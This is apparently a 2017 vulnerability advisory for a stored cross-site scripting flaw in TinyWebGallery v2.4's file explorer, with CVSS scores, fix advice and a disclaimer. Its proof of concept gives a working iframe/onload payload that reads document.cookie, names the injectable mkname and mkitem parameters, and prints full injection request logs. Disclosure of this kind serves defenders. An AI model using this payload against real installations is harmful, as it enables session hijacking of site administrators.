3.5 Low
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
SINGLE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:S/C:N/I:P/A:N
5.4 Medium
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
0.001 Low
EPSS
Percentile
32.2%
Document Title:
===============
TinyWebGallery v2.4 (TWGE) - Persistent XSS Vulnerability
References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=1997
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2017-16635
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2017-16635
CVE-ID:
=======
CVE-2017-16635
Release Date:
=============
2017-11-01
Vulnerability Laboratory ID (VL-ID):
====================================
1997
Common Vulnerability Scoring System:
====================================
4.1
Vulnerability Class:
====================
Cross Site Scripting - Persistent
Current Estimated Price:
========================
500β¬ - 1.000β¬
Product & Service Introduction:
===============================
The TinyWebGallery is a free php based gallery that is very easy to install, extremely user friendly, does not need a database
(uses xml files) but still has all the features you should expect and much more. The TinyWebGallery is a php photo gallery / album
that is very easy to install, extremely user friendly, does not need a database (uses xml files) but still has all the features
you should expect and much more.
(Copy of the Homepage: http://www.tinywebgallery.com/en/overview.php )
Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered a persistent vulnerability in the official TinyWebGallery v2.4 TWG Explorer web-application.
Vulnerability Disclosure Timeline:
==================================
2017-11-01: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Affected Product(s):
====================
Michael Dempfle
Product: TinyWebGallery - (TWG Explorer) Web Application 2.4
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Medium
Authentication Type:
====================
Restricted Authentication (Guest Privileges)
User Interaction:
=================
No User Interaction
Disclosure Type:
================
Independent Security Research
Technical Details & Description:
================================
A persistent cross site scripting vulnerability has been discovered in the official TinyWebGallery v2.4 TWG Explorer web-application.
The persistent vulnerability allows remote attackers to inject own malicious script code to the application-side of the vulnerable service.
The vulnerability is located in the `mkname`, `mkitem` and `item` parameters of the `Add/Create` module. Remote attackers with low
privilege user account for backend access are able to inject malicious script codes to the `TWG Explorer` item listing. The request
method to inject is POST and the attack vector is located on the application-side of the service. The injection point is the add/create
input field and the execution point occurs in the item listing after the add or create.
The security risk of the cross site vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.9.
Exploitation of the client-side web vulnerability requires a privileged web-application user account and only low user interaction.
Successful exploitation of the vulnerability results in persistent phishing, session hijacking, persistent external redirect
to malicious sources and client-side manipulation of affected or connected web module context.
Request Method(s):
[+] POST
Vulnerable Module(s):
[+] TWG Explorer
Vulnerable Parameter(s):
[+] mkname
[+] mkitem
Affeced Module(s):
[+] item listing index
Proof of Concept (PoC):
=======================
The persistent vulnerability can be exploited by remote attackers with restricted privileged accounts and with low user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.
Manual steps to reproduce the vulnerability ...
1. Open the tinygallery web-application
2. Login to the service with the restricted privileges
3. Open the backend section
4. Add a file oder folder by usage of the malicious test payload
5. Save the entry via POST method request
Note: Now a refresh occurs to the main item listing after processing to add
6. The code executes in the list without secure parse
Note: After the inject the moderator only needs to wait since the administrators visits the listing of the files/folders
7. Successful reproduce of the persistent vulnerability!
PoC: Payload
>"<%20%20<iframe src=evil.source onload=alert(document.cookie)>
PoC: Vulnerable Source (TWG Explorer - Exploitation Folder)
<tr>
<td><a href="http://tinywebgallery.localhost:8080/tinywebgallery/admin/index.php?action=rename&dir=&item=%3E%22%3Ciframe+src%3Devil.source+onload%3Dalert%28document.cookie%29%3E++%3E%22%3Ciframe+src%3Devil.source+onload%3Dalert%28document.cookie%29%3E&order=name&srt=yes&tview=no&sview=yes&lang=de"><img class="bsprites rename_gif" src="./_img/_.gif" alt="Umbenennen" title="Umbenennen"></a></td>
<td><img src="./_img/_.gif" alt="" width="16" border="0" align="middle" height="16"></td>
<td><img src="./_img/_.gif" alt="" width="16" border="0" align="middle" height="16"></td>
<td><a name="link_item_1" href="#link_item_1" title="LΓΆschen" onclick="javascript: ClearAll(); getElementById('item_1').checked = true; if( confirm('Sicher, dass das Verzeichnis n>" <iframe="" src="evil.source" onload="alert(document.cookie)"> >"<iframe src="evil.source" onload="alert(document.cookie)">? gelöscht werden soll?nAlle Inhalte werden gelöscht.') ) { document.selform.do_action.value='delete'; document.selform.submit(); } else { getElementById('item_1').checked = false; return false;}"><img class='bsprites delete_gif' src="./_img/_.gif" alt="Löschen" title="Löschen"></a></td>
</tr></table>
</td></tr>
PoC: Vulnerable Source (TWG Explorer - Exploitation File)
<tr onmouseover="showImageDiv('9');style.backgroundColor='#D8ECFF';"
onmouseout="hideImageDiv('9');style.backgroundColor='#fafafa';" style="background-color: rgb(250, 250, 250);"
bgcolor="#fafafa"><td><input id="item_9" name="selitems[]" value="a>"<[MALICIOUS EXECUTION POINT!]>"
onclick="javascript:Toggle(this);" type="checkbox"></td>
<td nowrap="nowrap"><a href=".././a>" <[MALICIOUS EXECUTION POINT!]>" target="_blank">
<img align="middle" src="_img/_.gif" class="sprites file_gif"> a>"<[MALICIOUS EXECUTION POINT!]></a></td>
<td>-</td>
<td>Datei</td>
<td>06.11.2016 16:33</td>
<td><a href="http://tinywebgallery.localhost:8080/tinywebgallery/admin/index.php?action=chmod&dir=&item=a%3E%22%3Ciframe%3Ea%3E%22%3Ciframe%3E&order=name&srt=yes&tview=no&sview=yes&lang=de" title="Rechte ändern">-rw-rw-r--</a></td>
--- PoC Session Logs [POST] ---
Status: 302[Found]
POST http://tinywebgallery.localhost:8080/tinywebgallery/admin/index.php?action=mkitem&dir=&order=name&srt=yes&tview=no&sview=yes&lang=de
Mime Type[text/html]
Request Header:
Host[tinywebgallery.localhost:8080]
User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Referer[http://tinywebgallery.localhost:8080/tinywebgallery/admin/index.php]
Cookie[PHPSESSID=fdv10f4oldurr9t3ibjug955n2; locale=en-US; tzo=60; _pk_id.2.bb5e=6721c3ee6b4e3959.1478431665.1.1478432344.1478431665.; _pk_ses.2.bb5e=*]
Connection[keep-alive]
Upgrade-Insecure-Requests[1]
POST-Daten:
token[2c1a69b9dad891757b50cb27d3d1ace4]
mktype[dir]
mkname[%3E%22%3Ciframe+src%3Devil.source+onload%3Dalert%28document.cookie%29%3E]
Response Header:
Server[nginx/1.2.1]
Content-Type[text/html]
Transfer-Encoding[chunked]
Connection[keep-alive]
X-Powered-By[PHP/5.5.27-1+deb.sury.org~precise+1]
Location[http://tinywebgallery.localhost:8080/tinywebgallery/admin/index.php?action=list&dir=&order=name&srt=yes&tview=no&sview=yes&lang=de]
-
Status: 200[OK]
POST http://tinywebgallery.localhost:8080/tinywebgallery/admin/index.php?action=mkitem&dir=&order=name&srt=yes&tview=no&sview=yes&lang=de
Mime Type[text/html]
Request Header:
Host[tinywebgallery.localhost:8080]
User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
Referer[http://tinywebgallery.localhost:8080/tinywebgallery/admin/index.php?action=list&dir=&order=name&srt=yes&tview=no&sview=yes&lang=de]
Cookie[PHPSESSID=fdv10f4oldurr9t3ibjug955n2; locale=en-US; tzo=60; _pk_id.2.bb5e=6721c3ee6b4e3959.1478431665.1.1478435423.1478431665.; _pk_ses.2.bb5e=*]
Connection[keep-alive]
Upgrade-Insecure-Requests[1]
POST-Daten:
token[2c1a69b9dad891757b50cb27d3d1ace4]
mktype[file]
mkname[%3E%22%3Ciframe+src%3Devil.source+onload%3Dalert%28document.cookie%29%3E]
Response Header:
Server[nginx/1.2.1]
Content-Type[text/html; charset=utf-8]
Transfer-Encoding[chunked]
Connection[keep-alive]
X-Powered-By[PHP/5.5.27-1+deb.sury.org~precise+1]
-
Status: 200[OK]
GET http://tinywebgallery.localhost:8080/tinywebgallery/admin/index.php?action=list&dir=&order=name&srt=yes&tview=no&sview=yes&lang=de
Mime Type[text/html]
Request Header:
Host[tinywebgallery.localhost:8080]
User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Referer[http://tinywebgallery.localhost:8080/tinywebgallery/admin/index.php]
Cookie[PHPSESSID=fdv10f4oldurr9t3ibjug955n2; locale=en-US; tzo=60; _pk_id.2.bb5e=6721c3ee6b4e3959.1478431665.1.1478432344.1478431665.; _pk_ses.2.bb5e=*]
Connection[keep-alive]
Upgrade-Insecure-Requests[1]
Response Header:
Server[nginx/1.2.1]
Content-Type[text/html; charset=utf-8]
Transfer-Encoding[chunked]
Connection[keep-alive]
X-Powered-By[PHP/5.5.27-1+deb.sury.org~precise+1]
-
Status: 200[OK]
GET http://tinywebgallery.localhost:8080/tinywebgallery/admin/evil.source
Mime Type[text/html]
Request Header:
Host[tinywebgallery.localhost:8080]
User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
Referer[http://tinywebgallery.localhost:8080/tinywebgallery/admin/index.php?action=list&dir=&order=name&srt=yes&tview=no&sview=yes&lang=de]
Cookie[PHPSESSID=fdv10f4oldurr9t3ibjug955n2; locale=en-US; tzo=60; _pk_id.2.bb5e=6721c3ee6b4e3959.1478431665.1.1478432987.1478431665.; _pk_ses.2.bb5e=*]
Connection[keep-alive]
Upgrade-Insecure-Requests[1]
Response Header:
Server[nginx/1.2.1]
Content-Type[text/html; charset=iso-8859-1]
Transfer-Encoding[chunked]
Connection[keep-alive]
Reference(s):
http://tinywebgallery.localhost:8080/
http://tinywebgallery.localhost:8080/tinywebgallery/
http://tinywebgallery.localhost:8080/tinywebgallery/admin/
http://tinywebgallery.localhost:8080/tinywebgallery/admin/index.php
Solution - Fix & Patch:
=======================
Parse the input field to add files or folder. Restrict the input fields to filter and disallow the usage of special chars to prevent the injection point.
Escape the entries in case of emergency to prevent attacks in the backend against higher privilege admin accounts.
Parse the vulnerable output parameter in the listing module to resolve the issue.
Ensure that only trusted sources are allowed to add folders or files via file explorer module.
Security Risk:
==============
The security risk of the persistent cross site scripting web vulnerability in the gallery web-application version v2.4 is estimated as medium.
Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (http://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.)
Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or
implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any
case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability Labs or its
suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability mainly for incidental
or consequential damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface
websites, hack into databases or trade with stolen data. We have no need for criminal activities or membership requests. We do not publish advisories
or vulnerabilities of religious-, militant- and racist- hacker/analyst/researcher groups or individuals. We do not publish trade researcher mails,
phone numbers, conversations or anything else to journalists, investigative authorities or private individuals.
Domains: www.vulnerability-lab.com - www.vulnerability-db.com - www.evolution-sec.com
Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register.php
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php
Social: twitter.com/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab
Any modified copy or reproduction, including partially usages, of this file, resources or information requires authorization from Vulnerability Laboratory.
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by
Vulnerability Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark
of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or edit our material contact (admin@) to get an ask permission.
Copyright Β© 2017 | Vulnerability Laboratory - [Evolution Security GmbH]β’
3.5 Low
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
SINGLE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:S/C:N/I:P/A:N
5.4 Medium
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
0.001 Low
EPSS
Percentile
32.2%